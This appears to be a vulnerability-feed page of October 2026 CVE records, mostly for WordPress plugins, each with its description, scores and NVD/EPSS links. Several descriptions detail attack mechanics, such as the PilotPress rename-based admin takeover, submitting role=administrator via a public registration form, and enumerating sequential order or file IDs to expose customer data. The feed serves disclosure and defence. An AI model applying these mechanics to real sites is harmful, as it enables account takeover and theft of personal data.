The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43. The vulnerability exists because the `update_cc_details()` AJAX handler forwards an attacker-supplied `username` parameter to ONTRAPORT via `api_call('update_cc_details', ...)` before performing the local `username_exists()` collision check, and aborts without rolling back the remote rename when a collision is detected — leaving the remote ONTRAPORT contact renamed to an existing WordPress Administrator's login. On a subsequent login attempt, `user_login()` (hooked to `wp_authenticate`) authenticates against ONTRAPORT using the renamed login and the attacker's own password, resolves the local WordPress user row via `get_user_by('login', $username)` — which now selects the real Administrator's row — and calls `wp_set_password()` against that Administrator's user ID; because the `user_level != 10` guard only suppresses PilotPress's own cookie issuance rather than returning a `WP_Error` to core, WordPress proceeds to validate the newly-synchronized password and issues a full Administrator authentication cookie to the attacker. This makes it possible for authenticated attackers with Subscriber-level access and above — specifically any PilotPress member holding a valid ONTRAPORT contact and the Customer Center nonce — to fully take over an Administrator account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the...
https://kevwire.com/record/CVE-2026-75903
The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the... (Oct 16, 2026).
The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the delegated-login pairing credential file on Nginx-based installations, where the plugin's generated server configuration snippet guards the wrong directory path. This makes it possible for unauthenticated attackers to retrieve the stored credentials, forge signed REST API requests, and log in as an administrator.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75903).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75903&date=2026-10-25).
Sources:
NVD CVE-2026-75903: https://nvd.nist.gov/vuln/detail/CVE-2026-75903
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75903&date=2026-10-25
The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the delegated-login pairing credential file on Nginx-based installations, where the plugin's generated server configuration snippet guards the wrong directory path. This makes it possible for unauthenticated attackers to retrieve the stored credentials, forge signed REST API requests, and log in as an administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by...
https://kevwire.com/record/CVE-2026-111363
BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by... (Oct 15, 2026).
BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by supplying arbitrary file_id values. Attackers can enumerate sequential file ids against GET /api/v1/knowledge/file_bbox to retrieve extracted page text from other users' and tenants' knowledge bases.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111363).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111363&date=2026-10-25).
Sources:
NVD CVE-2026-111363: https://nvd.nist.gov/vuln/detail/CVE-2026-111363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111363&date=2026-10-25
BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by supplying arbitrary file_id values. Attackers can enumerate sequential file ids against GET /api/v1/knowledge/file_bbox to retrieve extracted page text from other users' and tenants' knowledge bases.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order...
https://kevwire.com/record/CVE-2026-111277
NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order... (Oct 15, 2026).
NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order invoices by supplying an order_id. Attackers can iterate the order_id parameter, which matches guest orders stored with customer_id 0, to disclose guest names, addresses, telephone numbers, emails, purchased items, and totals.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111277).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111277&date=2026-10-25).
Sources:
NVD CVE-2026-111277: https://nvd.nist.gov/vuln/detail/CVE-2026-111277
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111277&date=2026-10-25
NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order invoices by supplying an order_id. Attackers can iterate the order_id parameter, which matches guest orders stored with customer_id 0, to disclose guest names, addresses, telephone numbers, emails, purchased items, and totals.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to...
https://kevwire.com/record/CVE-2026-111122
The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to... (Oct 16, 2026).
The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires the malicious comment to be approved and an administrator to subsequently open the Visual Inspector and click the attacker's anchor link, both of which are plausible interactions during routine comment triage.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111122).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111122&date=2026-10-25).
Sources:
NVD CVE-2026-111122: https://nvd.nist.gov/vuln/detail/CVE-2026-111122
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111122&date=2026-10-25
The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires the malicious comment to be approved and an administrator to subsequently open the Visual Inspector and click the attacker's anchor link, both of which are plausible interactions during routine comment triage.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42...
https://kevwire.com/record/CVE-2026-110701
The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42... (Oct 16, 2026).
The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has enabled the "Allow edition in frontend?" option on at least one calendar view, which exposes the unauthenticated add endpoint and a publicly accessible nonce.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110701).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110701&date=2026-10-25).
Sources:
NVD CVE-2026-110701: https://nvd.nist.gov/vuln/detail/CVE-2026-110701
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110701&date=2026-10-25
The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has enabled the "Allow edition in frontend?" option on at least one calendar view, which exposes the unauthenticated add endpoint and a publicly accessible nonce.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying...
https://kevwire.com/record/CVE-2026-110590
The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying... (Oct 16, 2026).
The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to access any order's secret order_key and full billing and shipping PII — including first name, last name, email address, phone number, street address, postcode, city, region, and country — emitted inline as the klarna_payments_params JavaScript variable, enabling full store-wide order enumeration. Because WooCommerce order IDs are sequential integers and no order_key or authenticated session is required, every order in the store can be trivially enumerated with sequential GET requests to the order-pay endpoint.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110590).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110590&date=2026-10-25).
Sources:
NVD CVE-2026-110590: https://nvd.nist.gov/vuln/detail/CVE-2026-110590
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110590&date=2026-10-25
The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to access any order's secret order_key and full billing and shipping PII — including first name, last name, email address, phone number, street address, postcode, city, region, and country — emitted inline as the klarna_payments_params JavaScript variable, enabling full store-wide order enumeration. Because WooCommerce order IDs are sequential integers and no order_key or authenticated session is required, every order in the store can be trivially enumerated with sequential GET requests to the order-pay endpoint.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against...
https://kevwire.com/record/CVE-2026-110135
The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against... (Oct 16, 2026).
The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against a value the client itself supplies and can change freely, allowing an unauthenticated attacker to bypass the limit and brute-force the short numeric login code to take over an account without its password.
CVSS 7.4 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110135).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110135&date=2026-10-25).
Sources:
NVD CVE-2026-110135: https://nvd.nist.gov/vuln/detail/CVE-2026-110135
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110135&date=2026-10-25
The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against a value the client itself supplies and can change freely, allowing an unauthenticated attacker to bypass the limit and brute-force the short numeric login code to take over an account without its password.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for...
https://kevwire.com/record/CVE-2026-110015
The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for... (Oct 16, 2026).
The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for cookie-authenticated sessions across the whole REST API, allowing unauthenticated attackers who trick a logged-in administrator into clicking a crafted link to forge requests in that administrator's browser, up to creating a new administrator account.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110015).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110015&date=2026-10-25).
Sources:
NVD CVE-2026-110015: https://nvd.nist.gov/vuln/detail/CVE-2026-110015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110015&date=2026-10-25
The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for cookie-authenticated sessions across the whole REST API, allowing unauthenticated attackers who trick a logged-in administrator into clicking a crafted link to forge requests in that administrator's browser, up to creating a new administrator account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input...
https://kevwire.com/record/CVE-2026-109998
The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input... (Oct 16, 2026).
The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable because the wp_ajax_nopriv_mb_template endpoint is publicly accessible without authentication, nonce verification is not enforced for the content_reply mode, and admin-ajax.php responds with Content-Type: text/html, causing browsers to execute injected tags embedded in the JSON response body.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109998).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109998&date=2026-10-25).
Sources:
NVD CVE-2026-109998: https://nvd.nist.gov/vuln/detail/CVE-2026-109998
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109998&date=2026-10-25
The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable because the wp_ajax_nopriv_mb_template endpoint is publicly accessible without authentication, nonce verification is not enforced for the content_reply mode, and admin-ajax.php responds with Content-Type: text/html, causing browsers to execute injected tags embedded in the JSON response body.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all...
https://kevwire.com/record/CVE-2026-109990
The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all... (Oct 16, 2026).
The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress core's save-time kses sanitization entirely because the payload uses only kses-allowed elements — an &lt;abbr title&gt; attribute and &lt;code&gt; text content — and the XSS is introduced post-save when the plugin's output-buffer rewriter substitutes a double-quote-bearing &lt;code&gt; body into the &lt;abbr title&gt; attribute via predictable, unsalted ___noise___ placeholder keys.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109990).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109990&date=2026-10-25).
Sources:
NVD CVE-2026-109990: https://nvd.nist.gov/vuln/detail/CVE-2026-109990
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109990&date=2026-10-25
The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress core's save-time kses sanitization entirely because the payload uses only kses-allowed elements — an &lt;abbr title&gt; attribute and &lt;code&gt; text content — and the XSS is introduced post-save when the plugin's output-buffer rewriter substitutes a double-quote-bearing &lt;code&gt; body into the &lt;abbr title&gt; attribute via predictable, unsalted ___noise___ placeholder keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.
https://kevwire.com/record/CVE-2026-109693
Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5. (Oct 15, 2026).
Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109693).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109693&date=2026-10-25).
Sources:
NVD CVE-2026-109693: https://nvd.nist.gov/vuln/detail/CVE-2026-109693
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109693&date=2026-10-25
Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This...
https://kevwire.com/record/CVE-2026-109685
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This... (Oct 15, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through 0.9.7.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109685).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109685&date=2026-10-25).
Sources:
NVD CVE-2026-109685: https://nvd.nist.gov/vuln/detail/CVE-2026-109685
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109685&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through 0.9.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc.
https://kevwire.com/record/CVE-2026-109515
The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. (Oct 16, 2026).
The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.78.6 This is due to the `subscribe_to_email_list` endpoint accepting an attacker-supplied `optin_data[form_custom_field_mappings]` parameter without any allow-list validation on destination keys, allowing the attacker-controlled mapping to override the administrator's saved mapping and pass arbitrary `wp_users` column names — including `ID` and `user_pass` — directly into `wp_insert_user()` via the `subscribe()` function. This makes it possible for unauthenticated attackers to force `wp_insert_user()` into UPDATE mode on any existing account by supplying a target user's numeric `ID`, overwrite that account's password with a pre-hashed value of their choosing, and thereby take over any WordPress user account — including administrators — leading to full site compromise. Exploitation requires that a WordPress User Registration opt-in form is published somewhere on the site, though the form's UUID is visible in page source and no authentication, nonce, or capability check is required to reach the vulnerable endpoint.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109515).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109515&date=2026-10-25).
Sources:
NVD CVE-2026-109515: https://nvd.nist.gov/vuln/detail/CVE-2026-109515
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109515&date=2026-10-25
The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.78.6 This is due to the `subscribe_to_email_list` endpoint accepting an attacker-supplied `optin_data[form_custom_field_mappings]` parameter without any allow-list validation on destination keys, allowing the attacker-controlled mapping to override the administrator's saved mapping and pass arbitrary `wp_users` column names — including `ID` and `user_pass` — directly into `wp_insert_user()` via the `subscribe()` function. This makes it possible for unauthenticated attackers to force `wp_insert_user()` into UPDATE mode on any existing account by supplying a target user's numeric `ID`, overwrite that account's password with a pre-hashed value of their choosing, and thereby take over any WordPress user account — including administrators — leading to full site compromise. Exploitation requires that a WordPress User Registration opt-in form is published somewhere on the site, though the form's UUID is visible in page source and no authentication, nonce, or capability check is required to reach the vulnerable endpoint.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable...
https://kevwire.com/record/CVE-2026-109513
The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable... (Oct 16, 2026).
The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has previously enabled a WordPress.org Reviews campaign and placed the notificationx-pro/notificationx dynamic block on a public page, both of which are documented, supported plugin workflows.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109513).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109513&date=2026-10-25).
Sources:
NVD CVE-2026-109513: https://nvd.nist.gov/vuln/detail/CVE-2026-109513
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109513&date=2026-10-25
The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has previously enabled a WordPress.org Reviews campaign and placed the notificationx-pro/notificationx dynamic block on a public page, both of which are documented, supported plugin workflows.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to,...
https://kevwire.com/record/CVE-2026-109447
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to,... (Oct 16, 2026).
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.0.3 via the `role` parameter handled by the `wppb_add_meta_to_user_on_activation()` function. The vulnerability exists because the activation handler passes the attacker-supplied role value directly to `WP_User::set_role()` with no allow-list validation, and the 4.0.3 reserved-name check exempts pre-existing form fields from the block, allowing a legacy field with meta-name `role` to persist and bridge attacker-controlled request input into the serialized signup record stored in `wp_signups`. This makes it possible for unauthenticated attackers to gain a fully activated WordPress administrator account by submitting `role=administrator` through the public `[wppb-register]` shortcode form and subsequently clicking the confirmation activation link. Exploitation requires the site to have a legacy form field with meta-name `role` carried over from before the 4.0.3 upgrade, email confirmation enabled, and open user registration — all stable site-state conditions once established.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109447).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109447&date=2026-10-25).
Sources:
NVD CVE-2026-109447: https://nvd.nist.gov/vuln/detail/CVE-2026-109447
